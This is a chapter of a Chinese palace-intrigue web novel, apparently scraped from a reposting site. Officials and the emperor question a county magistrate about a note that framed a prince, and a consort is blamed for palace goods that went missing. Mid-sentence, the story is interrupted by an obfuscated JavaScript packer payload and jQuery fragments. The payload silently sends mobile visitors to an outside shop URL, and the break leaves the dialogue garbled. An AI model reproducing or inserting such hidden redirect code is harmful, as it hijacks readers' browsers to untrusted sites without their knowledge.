文趣网 > 其他小说 > 骨中仙 > 26. 第二十六章
    众人回了衙门,等待着有关凶手的线索。

    许久,衙役们带着一张纸回来了,交给了景王。

    纪沉洲攥着纸条的手有些颤抖,因为那纸条上面清清楚楚地写着:

    杀妻子,嫁祸阮。

    此时,阮霆开了口:“景王殿下,不知可否让我看看?”

    纪沉洲将纸条递给了他,仔细观察着他脸上的表情。

    看完纸条以后,阮霆怒从心起,走到张福面前,质问道:“说!是谁让你这么做的!”

    张福瞄了一眼纪沉洲,缓缓抬起了手臂。

    张福手指指向的方向正是纪沉洲所在,他一下慌了神,“张福,你竟敢污蔑本王!你说这纸条是我写给你的,可有证据?”

    “侯爷,您大可以看看纸条上的与景王殿下的字迹是否一样。”

    听到这,纪沉洲松了口气。

    这纸条根本不是他写的,怎可能查到他头上。

    他得意地开了口,“好啊,拿纸笔来,让你好好看看本王的字迹。”

    纪沉洲挥手写下了“杀妻子嫁祸阮”这六个字,阮霆拿起一看,与纸条上的完全不同。

    阮霆眼底的失望一闪而过,他的目光落到了张福身上,“张福,这字迹完全不同,你的说法不可信。”

    “不可能!怎么可能呢!”

    张福陷入了癫狂,他指着纪沉洲大喊:“是他,全是他指使我干的!就是他!你们为什么不信我!”

    见状,阮霆让人将张福关入了牢中,被抓走时他还在大喊“不可能”。

    旁观的阮星澈摇了摇头,低声对纪沉涟说道:“一张纸条根本说明不了什么,我还以为他有什么景王的把柄握在手里。”

    “的确,他似乎有些太天真了。”

    即便张福没能将景王拉下水,纪沉涟决不会让纪沉洲毫发无损。

    于是,纪沉涟走到公堂中心,说道:“侯爷,这纸条的出处必得弄清楚,这样才能知道究竟是谁想害阮娘子。”

    阮霆点点头,“来人,去搜张福房里有没有纸条的线索。”

    不一会儿,衙役们就回来了,“侯爷,张府的书房里收藏着许多这样的纸条,但是有一张与别的有些不同。”

    阮霆拿过那个纸条,却没看出什么名堂。

    随后,他递给了纪沉洲,纪沉洲自然会说不知道。

    “侯爷,让我看看吧。”

    纪沉涟接过纸条,仔细观察着纸条的材质。

    “侯爷,这纸条平滑温润,光泽内敛,应当是贵族所用之纸。”

    正在此时,沐泽和凡玉到了公堂。

    看到阮星澈,凡玉向她跑了过来,“阮娘子,你没事吧。”

    “没事,你呢,有没有受伤?”凡玉摇了摇头。

    “沐泽,东西找得如何?”

    沐泽先扫遍纪沉涟全身,才回了阮霆的话,“侯爷,那些东西都被放在了马车里,那个首饰摊的老板也带过来了。”

    只见那老板跪下,颤抖着说:“那些东西都是张县令给我的,他让我在集市上把它们卖了,我自己赚一成,他拿九成。卖完了以后,县令会再拿东西过来。”

    听完他的话,阮霆开口说道:“看来,宫里有人在给张福提供东西呢。”

    他转头对着纪沉洲说道:“景王殿下,此事非同小可,必须要向陛下禀报才行。”

    “立刻回京。”

    阮霆与纪沉洲坐上了回京的马车,而阮星澈、纪沉涟、沐泽、凡玉的马车紧随其后,队伍最末的是关押张福的车。

    马车里,阮星澈低头沉思着什么,凡玉轻轻拍了一下她的肩膀,“阮娘子,你想什么呢?”

    “我在想,张福究竟在盘算些什么,我绝不相信他会就此作罢。”

    “难不成他又想污蔑我们?”

    阮星澈摇了摇头,“不像,他若是要污蔑我们,怎么会在公堂里指向景王呢。”

    “也对,那他还能想什么?”

    “或许他在想怎么报复景王。”说话的是纪沉涟。

    沐泽满脸疑惑,“殿下,他们不是一伙儿的吗?”

    “是,可景王想推他出来顶罪,可他绝不会甘心就这样结束一生。”

    阮星澈看向纪沉涟,“没错,他一定会选择报复景王。不论如何,他活着对我们更有利,所以我们必须保证他的安全。”

    闻言,纪沉涟对沐泽说:“沐泽,你时刻盯着张福,不要让任何人靠近他。”

    沐泽刚想答应,阮星澈先开了口:“要不我和沐泽一起看吧,他一个人看太累了。”

    “不行!在牢里的这几天,你都没休息好。”纪沉涟严肃地拒绝了阮星澈的请求。

    阮星澈无奈地叹了口气,她与凡玉对视了一眼,明白了彼此的想法。

    “那我们四个人轮流看吧,这样谁都不会太累。”

    纪沉涟思索片刻,同意了阮星澈的安排。

    在四个人的看守下,张福安全到了京城,跪在了皇帝纪明面前。

    此前,纪明已经听阮霆和纪沉洲说了流城县的事。

    “张福,你好大的胆子,关押王爷贵女、杀害妻子、攀咬当朝王爷,这一桩桩一件件足够你砍头无数次。到了朕的面前,还不说是谁在背后给你撑腰?”

    张福跪在地上,平静说道:“回陛下,无人指使,微臣所做皆出自本心。”

    “好一个出自本心,你在流城县可不是这么说的。”

    “微臣那时一时糊涂,随便乱指了一个人,只是恰好指向了景王殿下。”

    纪明气得摔了茶盏,破碎的瓷片在张福的脸上留下了一道深深的血痕。

    张福将头重重地磕在地上,说话的声音传遍了整座大殿。

    “陛下,臣自知罪孽深重,只求一死。”

    纪明的手掌狠狠拍打在面前的书桌上,“你想死?没那么容易!来人把他押入天牢!”

    张福被押走以后,纪明拍打着胸口,“把赵贵妃叫来!”

    很快,赵贵妃迈着娇柔的步伐走到了纪明身侧,“陛下,您叫臣妾来有何事啊。”

    纪明瞪了她一眼,“你说,宫里的东西是怎么到流城县的。”

    赵贵妃猛地跪下,“陛下,都是臣妾管理不周,才让人钻了空子,陛下您息怒。”

    “管理不周?我看你是根本没管!那一件件东西被卖出去,你竟丝毫未曾察觉,看来你不适合再管理后宫了。”

    “陛下,您就再给臣妾一次机会吧,臣妾一定能找到偷东西的人的,求求您了。”

    赵贵妃哭得脸上的妆容都花了,纪明却还未松口。

    景王却看不下去了,“父皇,我母妃她只是......”

    “你闭

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615181|206057||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    嘴!”

    大殿上恢复了平静,所有人都在等着纪明的怒气消散。

    过了一会儿,纪明的理智占了上风,他看着伏在脚边的赵贵妃说道:“你管理后宫多年,怎么会犯下如此大错,难不成你就是那个提供东西的人?”

    赵贵妃彻底慌了神,“陛下,臣妾向天发誓绝没有干过此事,若真做过,便叫臣妾不得好死。”

    “行了,行了,朕就那么一说,你何必发此毒誓呢。”

    赵贵妃暗暗松了口气,看向阮星澈的眼神隐藏着杀意。

    说着,纪明看向了阮星澈。

    “阮娘子,此次你含怨入狱,实在辛苦了。”

    阮星澈恭敬地行了礼,“陛下言重了,臣女不算辛苦,只是臣女想知道张福背后的人是谁。”

    “阮卿,你查得如何了?”

    “回陛下,经瑜王殿下提醒,臣才注意到了纸的特殊,还未来得及深入调查。”

    纪明眉头微皱,“纸?拿来让朕看看。”

    那张纸条经由内侍交到了纪明的手上,在看到纸的那一刻,他的眼中闪过了一丝怀疑。

    他看向纪沉洲,“洲儿,朕记得朕好像赏过你这种纸。”

    纪沉洲跪下答道:“父皇,您的确赏过儿臣,可儿臣与阮娘子无冤无仇怎么会让人害她。”

    纪明点点头,“也是,你说的有理。”

    纪沉涟此时却不合时宜地开了口,“父皇,儿臣认为最重要的不是纸,而是张福的指控。在流城县,他当众说是受皇兄指使,若是不将此事查清楚,百姓再联想起这特殊的纸,只怕会影响到皇兄的名誉。”

    说罢,纪沉洲瞪了他一眼,纪明却认可了他的看法。

    “洲儿,涟儿说得有理,此事必须得查清楚。”

    纪沉洲咬着牙应了下来。

    “涟儿,你终于懂得维护皇家的声誉了,为父很欣慰。只是你这次被抓,却也损害了皇室的形象。”

    纪沉涟毫不犹豫地跪了下去,“父皇,儿臣明白,儿臣愿受责罚。”

    阮星澈却看不下去了,她也跪了下来,说道:“陛下,这次多亏了瑜王殿下,臣女才得以脱困,况且这次瑜王殿下的侍卫找回了宫里遗失的宝物,还望陛下从轻惩罚。”

    纪明的手指规律地敲击着桌面,“罢了,涟儿这次你有功亦有过,便功过相抵了吧。”

    听到他的话,阮星澈终于松了口气。

    “行了,阮卿调查凶手的事就交给你了,朕今日累了,你们都退下吧。”

    众人退出了大殿,无人注意到纪明看向纪沉洲与赵贵妃时那怀疑的眼神。

    回府的马车停了下来,阮星澈翻开车帘,看着眼前熟悉的侯府,叹了口气。

    她没想到刚离开几天,就又回来了。

    此时,纪沉涟也下了马车,他走了过来。

    “阮娘子,方才在大殿上,你不该替我求情的。”

    “我知道你在担心什么,可我绝不能看着你被无缘无故地责罚。”

    阮星澈扬起嘴角看着他,“你追了一路就是要说这个?”

    纪沉涟站在原地,不再言语。

    “好啦,别纠结这些啦,我同你说个事情,我终于想明白张福要如何报复景王了。他明白自己已经无法拉景王下水了,所以他想用死在陛下的心中埋下一颗怀疑的种子。”